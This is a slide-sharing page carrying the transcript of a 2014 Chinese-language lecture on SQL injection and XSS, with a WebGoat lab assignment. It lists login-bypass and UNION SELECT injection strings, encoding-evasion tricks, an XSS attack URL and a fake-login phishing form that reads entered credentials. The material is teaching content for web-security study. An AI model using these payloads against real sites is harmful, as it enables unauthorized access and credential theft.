XSS & SQL Injection理論 2014/7/29 許子謙.

Slides:



Advertisements
Similar presentations
模块五 动态网页技术 任务五 查询记录 任务一 表单设计制作 任务二 简单动态的 ASP 页面制作任务三 页面与数据库的集成任务四 添加记录 任务六 电商系统融入网站.
Advertisements

北京师范大学生命科学学院 北京师范大学生命科学学院 余跃强 章腾勋 王航 余跃强 章腾勋 王航 2 目 录目 录目 录目 录  前言 前言  概述 概述  形态和生活史 形态和生活史  寄生适应特征 寄生适应特征  致病机制与症状 致病机制与症状  诊断 诊断  流行情况 流行情况.
Information Security Fundamentals and Practices 資訊安全概論與實務
完美履歷表撰寫技巧 樹德科技大學 課程:國文寫作技巧 教師:黃湃翔老師.
Database Management System 資料庫管理系統
文書處理 總務處文書組長 楊琇惠 主講.
动态Web开发技术--JSP.
第6章 数据库管理软件Access 年秋.
數聯資安(ISSDU) 講師:李品宏 社交工程的手法與趨勢 數聯資安(ISSDU) 講師:李品宏
政府機關綠色採購申報系 統操作說明及問題疑義
SQL的简单查询.
本投影片部份內容 由成大資通安全研發中心 鍾沛原先生提供
高一年级过渡性学习 活动汇报 高一年级组 教科研室 汉滨高中.
第5章 HTML 標籤介紹.
第8讲 HTML与PHP基础 静态网页 vs. 动态网页.
Access数据库知识 安丘市职业中专 雷云龙.
Web Programming 網際網路程式設計
MVC Servlet与MVC设计模式.
研究助理相關業務說明 人力資源處 謝芳慈(分機2021) 103年06月13日.
第 八 章 資料庫安全 本投影片(下稱教用資源)僅授權給採用教用資源相關之旗標書籍為教科書之授課老師(下稱老師)專用,老師為教學使用之目的,得摘錄、編輯、重製教用資源(但使用量不得超過各該教用資源內容之80%)以製作為輔助教學之教學投影片,並於授課時搭配旗標書籍公開播放,但不得為網際網路公開傳輸之遠距教學、網路教學等之使用;除此之外,老師不得再授權予任何第三人使用,並不得將依此授權所製作之教學投影片之相關著作物移作他用。
資訊安全管理概論 黃燕忠 (Jack Hwang) 中國文化大學副教授兼推資管系主任 捨得資訊股份有限公司 (藍色小舖) 總顧問
WEB攻击与防护技术 徐 震 信息安全国家重点实验室.
WEB常见漏洞与挖掘技巧研究 广东动易网络——吴建亮
第三章 使用XMLHttpRequest对象
会计技能综合实训 ——会计分工.
在 线 考 试 系 统 的 设 计 学 生: 班 级: 指导老师:.
Information Security Fundamentals and Practices 資訊安全概論與實務
Chap5 PHP程式設計進階 授課講師:.
XSS & SQL Injection理論 2014/7/29 許子謙.
學術網站弱點檢測 演講者:魏宏吉 2012/05/25.
第四章 網頁表單與資料傳遞.
留言版 1.先Create一個留言板的table
SQL Injection (資料隱碼) 簡介
課程名稱:資料庫系統 授課老師:李春雄 博士
Chapter 12 T-SQL 語法與 ASP.NET.
資料庫安全 (Database Security)
電子商務網站建制技術與實習(II) 助教:江宜政 吳昇洋.
数据库实验指导(一)
Cookie 存取Cookie Cookie有效時間 Session 存取Session session 函數
第一章 Visual Studio、SQL Server介紹與開發環境
進階 WWW 程式設計 -- PHP Regular Expression 靜宜大學資訊管理學系 蔡奇偉副教授 2004
第12章 VBA编程 虽然Access的交互操作功能非常强大且易于掌握,但是在实际的数据库应用系统中,用户还是希望尽量通过自动操作达到数据库管理的目的。应用程序设计语言在开发中的应用,可以加强对数据管理应用功能的扩展。Office中包含Visual Basic for Application(VBA),VBA具有与Visual.
中央大學 電子計算機中心 . 雲端服務介紹 李靜怡 105年5月SNMG會議.
JavaScript 靜宜大學 資管系 楊子青.
移动电子商务 第十二章 Windows Mobile应用案例 倚动软件工厂实验室.
視窗程式設計簡介-VB、Visual Studio
Ajax網頁的危機與防禦術 王寧疆 MCAD.NET/MCSD.NET/MCT/MVP 資策會教育訓練處.
張智星 台大資工系 多媒體檢索實驗室 第九章 小餅乾(Cookies) 張智星 台大資工系 多媒體檢索實驗室.
SQL Injection (資料隱碼) 學生:a 吳倩瑜 指導教授:梁明章.
7.7 Internet的基本服务功能 随着Internet的飞速发展,目前Internet上的各种服务已多达上万种,其中大多数服务是免费的。随着Internet商业化的发展趋势,它所能提供的服务将会进一步增多。 7.7.1 WWW服务 WWW(World Wide Web)的中文名为万维网,它的出现是Internet发展中的一个里程碑。WWW服务是Internet上最方便与最受用户欢迎的信息服务类型,它的影响力已远远超出了专业技术范畴,并已进入电子商务、远程教育、远程医疗与信息服务等领域。
网 站 设 计 与 建 设 Website design and developments
Cookie 存取Cookie Cookie有效時間 Session 存取Session session 函數
PHP 變數、常數與運算子 變數 常數 運算子
第18章 個人入口網站的建立 18-1入口網站的基礎 18-2 建立網站的搜尋引擎 18-3 網頁組件的個人化功能
台灣博碩士論文知識加值系統 萬能科技大學博碩士論文系統
多媒體應用 Multi Media application
Ch09 在網頁之間傳遞資訊 網頁程式設計.
網際網路版人力資源管理系統 (WebHR)
数据透视表与SQL典型应用 ——数据分析人士必杀技
本讲内容 SQL 概述 SQL 的查询功能 SQL 的操作功能 SQL 的定义功能.
2012温州市“深化普通高中课程改革”信息技术学科培训
HTML 103 互動式網頁 助教:黃毓瑩.
107學年度學生團體保險說明會 國泰人壽.
2.1 数据库的创建 2.2 表的组成 2.3 表的创建 2.4 表间关系的建立
購料平台訂購系統 教育訓練_操作手冊 製作:台塑購物網
課程名稱:資料庫系統 授課老師:李春雄 博士
手机淘宝“变形”产品—微淘 操作流程指南 (内测版).
Web安全基础教程
数据库应用技术 天津电大 翟迎建.
表单页面 表单是用户利用浏览器对Web站点网络数据库进行查询的一种界面,用户利用表单可以输入信息或选择选项等,然后将这些信息提交给服务器进行处理。通过表单,既可以将浏览器的信息发送到Internet服务器上,同时表单也可以使用户与站点的浏览者交互或从浏览者那里收集信息。它是网页的设计者和使用者相互交流的工具。表单对象包括文本域(单行、多行、密码)、列表、菜单、复选框、单选框、按钮等。
Presentation transcript:

XSS & SQL Injection理論 2014/7/29 許子謙

注意! 此課程僅為教學講解之用,嚴禁惡意測試他人網站系統之安全性,否則造成任何法律糾紛皆自行負責

大綱 SQL Injection Cross-Site Scripting (XSS) WebGoat

SQL Injection前言(1/2) 在現今的應用程式架構中,大部分都含有資料庫,以容納各式各樣的資料 一般的程式設計師在存取資料庫時,往往是利用 Visual Basic等第三代語言來組織 SQL 語言,然後再傳遞給關聯式資料庫系統執行,以建立或刪除資料結構,賦予或移除使用權限,可以新增、修改、刪除或查詢資料

SQL Injection前言(2/2) SQL指令植入式攻擊,也叫資料隱碼攻擊 並非植入電腦病毒,它是利用寫入特殊SQL程式碼攻擊應用程式 只要提供使用者輸入的介面,又沒有做到嚴密的輸入資料型態管制,就有可能遭受攻擊

SQL Injection 原理(1/2) 一般網站登入的SQL語法 正常使用者帳號 : John,密碼 : 1234 Select * from user where UID = ‘ ”&request(“UID”)&” ’ And Password = ‘ ”&request(“Passwd”)” &” ’ 正常使用者帳號 : John,密碼 : 1234 Select * from user where UID = ‘ John ’ And Password = ‘ 1234 ’

SQL Injection 原理(2/2) 攻擊者如果知道系統有個管理者帳號為Admin,則輸入Admin’/* Select * from user where UID = ‘ Admin’/* ’ And Password =‘ ’ p.s : /*符號為註解

正常登入 帳號 : John 密碼 : 1234 Select * from user where UID = ‘ John ’ And Password = ‘ 1234 ’

SQL Injection 攻擊(1/2) 1. 帳號 : John’/* 密碼 : aaa Select * from user where UID =‘ John’/* ’ And Password = ‘ aaa ’

SQL Injection 攻擊(2/2) 1. 帳號 : John 密碼 : a’ or ’ ’=‘ Select * from user where UID =‘ John ’ And Password = ‘a’ or ’ ’=‘ ’

SQL Injection影響 執行多個SQL語法 存取及控制資料庫中的內容 繞過身份驗證機制

檢測 檢測分為具輸入介面之網頁與URL : 具輸入介面之網頁(Web Form) URL(Uniform Resource Locators) http://www.google.com.tw/search?hl=zh-tw&q=sql+injection

Web Form 依照Web Form提供輸入的欄位,能以數字類型(int)或字串類型(string)分類

針對ASP網頁所用測試字串 ‘ or 1 = 1-- “ or 1 = 1-- or 1 = 1-- ‘ or ‘ ‘ = ‘ ‘ or ‘a’ = ‘a “ or “a” = “a ‘ ) or ( ‘a’ = ‘a ‘ or 1 = 1 ‘ or ‘1 = 1

針對PHP網頁所用測試字串 ‘ or 1 = 1 ‘ or ‘1 = 1 ‘/* ‘%23 // ‘# ‘%23 // ‘# ‘ and password = ‘mypass id = -1 union select 1,1,1 id = -1 union select char(97),char(97),char(97) id = 1 union select 1,1,1 from members id = 1 union select 1,1,1 from admin id = -1 union select 1,1,1 from user

URL 與Web Form測試方法相同,唯一不同的地方在於測試字串是加在URL上的變數後面

URL測試範例 例如觀察一個原始網頁URL : 假設變數為int型態 假設變數為string型態 http://127.0.0.1/ASP/SQLInji.asp?ID=1234 假設變數為int型態 http://127.0.0.1/ASP/SQLInji.asp?ID=1234+and+1=1 假設變數為string型態 http://127.0.0.1/ASP/SQLInji.asp?ID=1234’ and ‘1’ = ‘1

利用不同編碼(encodings)進行 大小寫混用 URL Encoding 例如SelecT代替select,SELECT等 ASCII : 『’』的ASCII = 39 Unicode = %27 http://..../login.asp?ID=admin and ‘a’ = ‘a’ || http://..../login.asp?ID=admin and %27a%27 = %27a%27

Cross-Site Scripting (XSS) XSS攻擊是利用動態網頁的特性、程式開發者未嚴格限制使用者輸入與未過濾特殊字串,讓惡意的Script得以在使用者的瀏覽器上執行

XSS攻擊 正常URL : 攻擊URL : http://victim/index.php?act=product&ID=777 http://victim/index.php?act=product<script>alert(/XSS/)</script>&ID=777

XSS攻擊的存在型態 XSS攻擊1 – 外嵌script XSS攻擊2 – 內嵌script XSS攻擊3 – 影音物件 不會留下任何資料於網頁伺服器 XSS攻擊2 – 內嵌script 攻擊的script語法以任何形式存於網頁伺服器 如檔案、資料庫 XSS攻擊3 – 影音物件 攻擊的script語法會嵌在影音物件內

常見的XSS攻擊模式 輕微的XSS攻擊 – 惡作劇 嚴重的XSS攻擊 – 竊取資料 嘗試破壞網頁畫面配置與內容 惡作劇程式、廣告視窗等 主要影響為造成使用者不便 嚴重的XSS攻擊 – 竊取資料 盜取連線資訊 : cookie、帳號密碼 網路釣魚 : 置換登入頁面、騙取使用者帳號密碼 惡意程式 : 瀏覽及下載惡意程式、竊取個人資訊

結論 SQL Injection是相當危險的,即使在防火牆上設定再多規則也無法過濾 XSS是今日Web Application最大的安全威脅來源,只要是非靜態網頁皆可能遭受攻擊 SQL Injection與XSS都是網頁設計師的疏失,為駭客大開後門,因此在設計網頁時,要多注意這類的問題並小心防範

WebGoat Step 1 Step 2 Step 3 Step 4 Open “webgoat.bat” http://localhost/WebGoat/attack 帳號密碼皆為guest Step 3 Start WebGoat Step 4 Injection Flaws Cross-Site Scripting (XSS)

<script> function hack() { alert("User Name = " + document <script> function hack() { alert("User Name = " + document.forms[0].login.value + "Password = " + document.forms[0].pw.value) } </script> <div> <br><br>XSS釣魚攻擊<form action="http://tw.yahoo.com/"> <table> <tr> <td>Login:</td> <td><input type=text length=20 name=login></td> </tr> <td>Password:</td> <td><input type=text length=20 name=password></td> </table> <input type=submit value=LOGIN onclick= " hack()" > </div>

作業 WebGoat 寫一份報告,包括攻擊指令與詳細流程 Mail至sam50502@Hotmail.com Injection Flaws Lab 1.3 Cross-Site Scripting(XSS) Lab 1.3.5 寫一份報告,包括攻擊指令與詳細流程 Mail至sam50502@Hotmail.com 標題 : XSS & SQL Injection作業 內容 : 系級、學號、姓名、附檔word(學號_姓名.doc) Deadline : 2/13